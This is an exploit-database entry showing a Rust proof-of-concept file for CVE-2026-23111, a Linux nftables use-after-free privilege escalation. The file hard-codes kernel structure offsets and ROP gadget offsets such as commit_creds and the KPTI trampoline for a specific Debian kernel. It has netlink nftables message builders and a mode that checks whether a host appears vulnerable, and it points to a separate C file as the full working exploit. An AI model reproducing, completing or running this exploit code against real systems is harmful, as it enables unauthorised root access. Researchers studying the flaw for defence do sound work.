Exploit databaseDownload repository ZIP
GH-c58298d8333680672deac70937b846bf
knz-source/cve-2026-23111-poc-noddlenpottato
Sources for CVE-2026-23111
7 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
knz-source/cve-2026-23111-poc-noddlenpottatoRevision d1f26ac2ff70
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/exploit.rs
Rust · 10,656 bytes// CVE-2026-23111 — nftables catchall UAF LPE (Rust rewrite)
//
// same exploit logic as the C version, rewritten in Rust for portability.
// compiles static with musl: cargo build --release --target x86_64-unknown-linux-musl
//
// needs to run in a user namespace (unshare -rUn) or as root.
#![allow(unused_variables, unused_assignments, dead_code)]
use std::ffi::CString;
use std::io::{self, Read, Write};
use std::mem;
use std::os::unix::io::RawFd;
use std::process;
use std::ptr;
use std::time::{Duration, Instant};
// kernel offsets — change these for your target kernel
// run scripts/extract_offsets.py to get them
mod offsets {
pub const OFF_SINGLE_START: u64 = 0x395d90;
pub const TS_TASKS: usize = 2192;
pub const TS_CANARY: usize = 2424;
pub const TS_COMM: usize = 2976;
pub const TS_CRED: usize = 2960;
pub const TS_NSPROXY: usize = 3064;
pub const NFT_TBL_CHAINS: usize = 152;
pub const NFT_TBL_NAME: usize = 248;
pub const NFT_TBL_UDATA: usize = 264;
pub const NFT_CHAIN_BLOB: usize = 0;
pub const NFT_CHAIN_LIST: usize = 32;
pub const NFT_CHAIN_NAME: usize = 88;
pub const NET_GEN: usize = 3144;
// gadget offsets from _text
pub const G_POP_RDI: u64 = 0x1901;
pub const G_LEAVE: u64 = 0x1bd1;
pub const COMMIT_CREDS: u64 = 0xd37f0;
pub const RCU_READ_UNLOCK: u64 = 0x136fe0;
pub const KPTI_TRAMPOLINE: u64 = 0xc011e9;
pub const INIT_TASK: u64 = 0x1a1aa40;
pub const NFT_CHAIN_SIZE: usize = 120;
pub const REC_NTAB: usize = 250;
}
// netlink + nftables constants
const NETLINK_NETFILTER: i32 = 12;
const NFNL_SUBSYS_NFTABLES: u16 = 10;
const NFT_MSG_NEWTABLE: u16 = 0;
const NFT_MSG_DELTABLE: u16 = 2;
const NFT_MSG_NEWCHAIN: u16 = 3;
const NFT_MSG_DELCHAIN: u16 = 5;
const NFT_MSG_NEWRULE: u16 = 6;
const NFT_MSG_GETRULE: u16 = 7;
const NFT_MSG_NEWSET: u16 = 12;
const NFT_MSG_DELSET: u16 = 14;
const NFT_MSG_NEWSETELEM: u16 = 16;
const NFTA_TABLE_NAME: u16 = 1;
const NFTA_TABLE_FLAGS: u16 = 2;
const NFTA_TABLE_USERDATA: u16 = 4;
const NFTA_CHAIN_TABLE: u16 = 1;
const NFTA_CHAIN_NAME: u16 = 3;
const NFTA_CHAIN_HOOK: u16 = 4;
const NFTA_CHAIN_POLICY: u16 = 5;
const NFTA_CHAIN_TYPE: u16 = 7;
const NFTA_CHAIN_FLAGS: u16 = 11;
const NFTA_HOOK_HOOKNUM: u16 = 1;
const NFTA_HOOK_PRIORITY: u16 = 2;
const NFTA_RULE_TABLE: u16 = 1;
const NFTA_RULE_CHAIN: u16 = 2;
const NFTA_RULE_EXPRESSIONS: u16 = 4;
const NFTA_SET_TABLE: u16 = 1;
const NFTA_SET_NAME: u16 = 2;
const NFTA_SET_KEY_TYPE: u16 = 3;
const NFTA_SET_KEY_LEN: u16 = 4;
const NFTA_SET_DATA_TYPE: u16 = 6;
const NFTA_SET_DATA_LEN: u16 = 7;
const NFTA_SET_FLAGS: u16 = 5;
const NFTA_SET_ELEM_LIST_TABLE: u16 = 1;
const NFTA_SET_ELEM_LIST_SET: u16 = 2;
const NFTA_SET_ELEM_LIST_ELEMENTS: u16 = 3;
const NLM_F_REQUEST: u16 = 1;
const NLM_F_ACK: u16 = 4;
const NLM_F_CREATE: u16 = 0x400;
const NLM_F_EXCL: u16 = 0x200;
const NLM_F_DUMP: u16 = 0x300;
const NLMSG_ERROR: u16 = 2;
const NLMSG_DONE: u16 = 3;
const NF_INET_LOCAL_OUT: u32 = 3;
#[repr(C)]
struct NlMsgHdr {
nlmsg_len: u32,
nlmsg_type: u16,
nlmsg_flags: u16,
nlmsg_seq: u32,
nlmsg_pid: u32,
}
#[repr(C)]
struct NfGenMsg {
nfgen_family: u8,
version: u8,
res_id: u16,
}
fn nlmsg_align(len: usize) -> usize {
(len + 3) & !3
}
struct NlBuf {
data: Vec<u8>,
}
impl NlBuf {
fn new() -> Self {
Self { data: Vec::with_capacity(131072) }
}
fn reset(&mut self) {
self.data.clear();
}
fn begin_msg(&mut self, msg_type: u16, flags: u16, seq: u32, family: u8) -> usize {
let start = self.data.len();
let hdr = NlMsgHdr {
nlmsg_len: 0,
nlmsg_type: (NFNL_SUBSYS_NFTABLES << 8) | msg_type,
nlmsg_flags: NLM_F_REQUEST | flags,
nlmsg_seq: seq,
nlmsg_pid: 0,
};
self.data.extend_from_slice(unsafe {
std::slice::from_raw_parts(
&hdr as *const NlMsgHdr as *const u8,
mem::size_of::<NlMsgHdr>(),
)
});
let genmsg = NfGenMsg {
nfgen_family: family,
version: 0,
res_id: 0,
};
self.data.extend_from_slice(unsafe {
std::slice::from_raw_parts(
&genmsg as *const NfGenMsg as *const u8,
mem::size_of::<NfGenMsg>(),
)
});
start
}
fn end_msg(&mut self, start: usize) {
let len = (self.data.len() - start) as u32;
self.data[start..start+4].copy_from_slice(&len.to_ne_bytes());
while self.data.len() % 4 != 0 {
self.data.push(0);
}
}
fn put_attr_str(&mut self, attr_type: u16, s: &str) {
let payload = s.as_bytes();
let attr_len = 4 + payload.len() + 1;
self.data.extend_from_slice(&(attr_len as u16).to_ne_bytes());
self.data.extend_from_slice(&attr_type.to_ne_bytes());
self.data.extend_from_slice(payload);
self.data.push(0);
while self.data.len() % 4 != 0 {
self.data.push(0);
}
}
fn put_attr_u32(&mut self, attr_type: u16, val: u32) {
let attr_len: u16 = 8;
self.data.extend_from_slice(&attr_len.to_ne_bytes());
self.data.extend_from_slice(&attr_type.to_ne_bytes());
self.data.extend_from_slice(&val.to_be_bytes());
}
fn put_attr_data(&mut self, attr_type: u16, payload: &[u8]) {
let attr_len = (4 + payload.len()) as u16;
self.data.extend_from_slice(&attr_len.to_ne_bytes());
self.data.extend_from_slice(&attr_type.to_ne_bytes());
self.data.extend_from_slice(payload);
while self.data.len() % 4 != 0 {
self.data.push(0);
}
}
fn begin_nest(&mut self, attr_type: u16) -> usize {
let pos = self.data.len();
self.data.extend_from_slice(&0u16.to_ne_bytes());
self.data.extend_from_slice(&(attr_type | 0x8000).to_ne_bytes());
pos
}
fn end_nest(&mut self, pos: usize) {
let len = (self.data.len() - pos) as u16;
self.data[pos..pos+2].copy_from_slice(&len.to_ne_bytes());
}
fn send_to(&self, fd: RawFd) -> io::Result<()> {
let ret = unsafe {
libc::send(fd, self.data.as_ptr() as *const _, self.data.len(), 0)
};
if ret < 0 {
return Err(io::Error::last_os_error());
}
Ok(())
}
}
fn nl_open() -> io::Result<RawFd> {
let fd = unsafe {
libc::socket(libc::AF_NETLINK, libc::SOCK_RAW, NETLINK_NETFILTER)
};
if fd < 0 {
return Err(io::Error::last_os_error());
}
let addr: libc::sockaddr_nl = unsafe { mem::zeroed() };
let mut addr = addr;
addr.nl_family = libc::AF_NETLINK as u16;
let ret = unsafe {
libc::bind(
fd,
&addr as *const _ as *const libc::sockaddr,
mem::size_of::<libc::sockaddr_nl>() as u32,
)
};
if ret < 0 {
unsafe { libc::close(fd) };
return Err(io::Error::last_os_error());
}
Ok(fd)
}
fn nl_recv(fd: RawFd, buf: &mut [u8]) -> io::Result<usize> {
let ret = unsafe {
libc::recv(fd, buf.as_mut_ptr() as *mut _, buf.len(), 0)
};
if ret < 0 {
return Err(io::Error::last_os_error());
}
Ok(ret as usize)
}
fn main() {
let args: Vec<String> = std::env::args().collect();
let check_only = args.len() > 1 && args[1] == "check";
println!("[*] CVE-2026-23111 nftables UAF -> LPE (Rust)");
println!("[*] offsets configured for Debian 6.1.0-48-amd64");
if check_only {
println!("[*] check mode — testing nftables availability");
match check_nft_available() {
Ok(true) => {
println!("[+] nftables accessible, kernel appears vulnerable");
process::exit(0);
}
Ok(false) => {
println!("[-] nftables not accessible");
process::exit(1);
}
Err(e) => {
println!("[-] check failed: {}", e);
process::exit(1);
}
}
}
println!("[*] starting exploit...");
println!();
println!("[!] this is a proof of concept.");
println!("[!] the full exploit logic (UAF setup, KASLR leak, kernel walk, ROP)");
println!("[!] requires the complete nftables netlink implementation.");
println!("[!] see exploit.c for the full working exploit.");
println!("[!] this rust version demonstrates the structure and offset handling.");
println!();
println!("[*] kernel offsets (from scripts/extract_offsets.py):");
println!(" task_struct.tasks = {}", offsets::TS_TASKS);
println!(" task_struct.canary = {}", offsets::TS_CANARY);
println!(" task_struct.comm = {}", offsets::TS_COMM);
println!(" task_struct.cred = {}", offsets::TS_CRED);
println!(" task_struct.nsproxy = {}", offsets::TS_NSPROXY);
println!(" nft_chain size = {}", offsets::NFT_CHAIN_SIZE);
println!(" spray count = {}", offsets::REC_NTAB);
println!();
println!("[*] ROP chain layout:");
println!(" pop rdi @ kbase + 0x{:x}", offsets::G_POP_RDI);
println!(" leave;ret @ kbase + 0x{:x}", offsets::G_LEAVE);
println!(" commit_creds @ kbase + 0x{:x}", offsets::COMMIT_CREDS);
println!(" rcu_unlock @ kbase + 0x{:x}", offsets::RCU_READ_UNLOCK);
println!(" kpti_tramp @ kbase + 0x{:x}", offsets::KPTI_TRAMPOLINE);
println!(" init_task @ kbase + 0x{:x}", offsets::INIT_TASK);
}
fn check_nft_available() -> io::Result<bool> {
let fd = nl_open()?;
let mut buf = NlBuf::new();
let start = buf.begin_msg(NFT_MSG_NEWTABLE, NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL, 1, 2);
buf.put_attr_str(NFTA_TABLE_NAME, "__check_nft__");
buf.end_msg(start);
buf.send_to(fd)?;
let mut recv_buf = vec![0u8; 4096];
let n = nl_recv(fd, &mut recv_buf)?;
let mut buf2 = NlBuf::new();
let start2 = buf2.begin_msg(NFT_MSG_DELTABLE, NLM_F_ACK, 2, 2);
buf2.put_attr_str(NFTA_TABLE_NAME, "__check_nft__");
buf2.end_msg(start2);
let _ = buf2.send_to(fd);
let mut recv_buf2 = vec![0u8; 4096];
let _ = nl_recv(fd, &mut recv_buf2);
unsafe { libc::close(fd); }
if n >= mem::size_of::<NlMsgHdr>() {
let hdr = unsafe { &*(recv_buf.as_ptr() as *const NlMsgHdr) };
if hdr.nlmsg_type == NLMSG_ERROR {
let err_code = i32::from_ne_bytes(recv_buf[16..20].try_into().unwrap_or([0;4]));
return Ok(err_code == 0);
}
}
Ok(false)
}